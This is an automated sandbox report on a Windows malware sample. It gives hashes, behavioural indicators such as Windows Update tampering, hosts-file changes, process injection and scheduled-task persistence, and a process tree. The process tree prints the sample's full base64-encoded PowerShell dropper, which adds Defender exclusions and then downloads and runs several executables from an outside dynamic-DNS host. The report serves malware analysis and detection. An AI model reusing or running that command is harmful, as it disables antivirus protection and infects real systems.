Analysis
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max time kernel
75s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
05-02-2023 13:17
Static task
static1
Behavioral task
behavioral1
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win10v2004-20220812-en
General
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Target
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
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Size
626KB
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MD5
47b01695ff80b03ae518b333163da42c
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SHA1
aa95d6c08ae9201828da23593e42df4a2e39ce82
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SHA256
474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
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SHA512
886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
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SSDEEP
6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 720 created 3008 720 SmartDefRun.exe 37 PID 720 created 3008 720 SmartDefRun.exe 37 PID 720 created 3008 720 SmartDefRun.exe 37 PID 720 created 3008 720 SmartDefRun.exe 37 PID 4704 created 588 4704 powershell.EXE 3 -
Blocklisted process makes network request 2 IoCs
flow pid Process 13 2580 powershell.exe 22 2580 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 3 IoCs
pid Process 4240 C4Loader.exe 720 SmartDefRun.exe 3420 SysApp.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4772 set thread context of 4752 4772 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 720 set thread context of 3416 720 SmartDefRun.exe 109 PID 4704 set thread context of 4552 4704 powershell.EXE 114 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3084 sc.exe 4796 sc.exe 2396 sc.exe 5020 sc.exe 1136 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 4636 4772 WerFault.exe 80 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1116 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 45 IoCs
pid Process 2580 powershell.exe 2580 powershell.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 3420 SysApp.exe 720 SmartDefRun.exe 720 SmartDefRun.exe 1696 powershell.exe 1696 powershell.exe 720 SmartDefRun.exe 720 SmartDefRun.exe 720 SmartDefRun.exe 720 SmartDefRun.exe 2104 powershell.exe 2104 powershell.exe 720 SmartDefRun.exe 720 SmartDefRun.exe 4704 powershell.EXE 4248 powershell.EXE 4704 powershell.EXE 4248 powershell.EXE 4704 powershell.EXE 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe 4552 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2580 powershell.exe Token: SeDebugPrivilege 1696 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe Token: 35 2104 powershell.exe Token: 36 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe Token: 35 2104 powershell.exe Token: 36 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4772 wrote to memory of 4752 4772 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4772 wrote to memory of 4752 4772 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4772 wrote to memory of 4752 4772 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4772 wrote to memory of 4752 4772 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4772 wrote to memory of 4752 4772 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4752 wrote to memory of 2580 4752 vbc.exe 85 PID 4752 wrote to memory of 2580 4752 vbc.exe 85 PID 4752 wrote to memory of 2580 4752 vbc.exe 85 PID 2580 wrote to memory of 4240 2580 powershell.exe 88 PID 2580 wrote to memory of 4240 2580 powershell.exe 88 PID 2580 wrote to memory of 4240 2580 powershell.exe 88 PID 2580 wrote to memory of 720 2580 powershell.exe 89 PID 2580 wrote to memory of 720 2580 powershell.exe 89 PID 2580 wrote to memory of 3420 2580 powershell.exe 90 PID 2580 wrote to memory of 3420 2580 powershell.exe 90 PID 2580 wrote to memory of 3420 2580 powershell.exe 90 PID 488 wrote to memory of 3084 488 cmd.exe 99 PID 488 wrote to memory of 3084 488 cmd.exe 99 PID 488 wrote to memory of 4796 488 cmd.exe 100 PID 488 wrote to memory of 4796 488 cmd.exe 100 PID 488 wrote to memory of 2396 488 cmd.exe 101 PID 488 wrote to memory of 2396 488 cmd.exe 101 PID 488 wrote to memory of 5020 488 cmd.exe 102 PID 488 wrote to memory of 5020 488 cmd.exe 102 PID 488 wrote to memory of 1136 488 cmd.exe 103 PID 488 wrote to memory of 1136 488 cmd.exe 103 PID 488 wrote to memory of 4464 488 cmd.exe 104 PID 488 wrote to memory of 4464 488 cmd.exe 104 PID 488 wrote to memory of 1112 488 cmd.exe 105 PID 488 wrote to memory of 1112 488 cmd.exe 105 PID 488 wrote to memory of 728 488 cmd.exe 106 PID 488 wrote to memory of 728 488 cmd.exe 106 PID 488 wrote to memory of 2788 488 cmd.exe 107 PID 488 wrote to memory of 2788 488 cmd.exe 107 PID 488 wrote to memory of 1792 488 cmd.exe 108 PID 488 wrote to memory of 1792 488 cmd.exe 108 PID 720 wrote to memory of 3416 720 SmartDefRun.exe 109 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4704 wrote to memory of 4552 4704 powershell.EXE 114 PID 4552 wrote to memory of 588 4552 dllhost.exe 3 PID 4552 wrote to memory of 644 4552 dllhost.exe 1 PID 3420 wrote to memory of 1116 3420 SysApp.exe 115 PID 3420 wrote to memory of 1116 3420 SysApp.exe 115 PID 3420 wrote to memory of 1116 3420 SysApp.exe 115 PID 4552 wrote to memory of 924 4552 dllhost.exe 12 PID 4552 wrote to memory of 992 4552 dllhost.exe 11 PID 4552 wrote to memory of 384 4552 dllhost.exe 10 PID 4552 wrote to memory of 372 4552 dllhost.exe 78 PID 4552 wrote to memory of 976 4552 dllhost.exe 76 PID 4552 wrote to memory of 1004 4552 dllhost.exe 75 PID 4552 wrote to memory of 1128 4552 dllhost.exe 74 PID 4552 wrote to memory of 1164 4552 dllhost.exe 73 PID 4552 wrote to memory of 1192 4552 dllhost.exe 72 PID 4552 wrote to memory of 1260 4552 dllhost.exe 14 PID 4552 wrote to memory of 1268 4552 dllhost.exe 71 PID 4552 wrote to memory of 1324 4552 dllhost.exe 70 PID 4552 wrote to memory of 1424 4552 dllhost.exe 15
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:644
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:992
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4d9aacc5-e523-4b8b-88e8-37dc4e8f715c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1260
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1424
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2076
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2640
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3220
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:1612
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:776
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:1644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4004
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4356
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:1672
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3008
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C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4752 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:4240
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:720
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
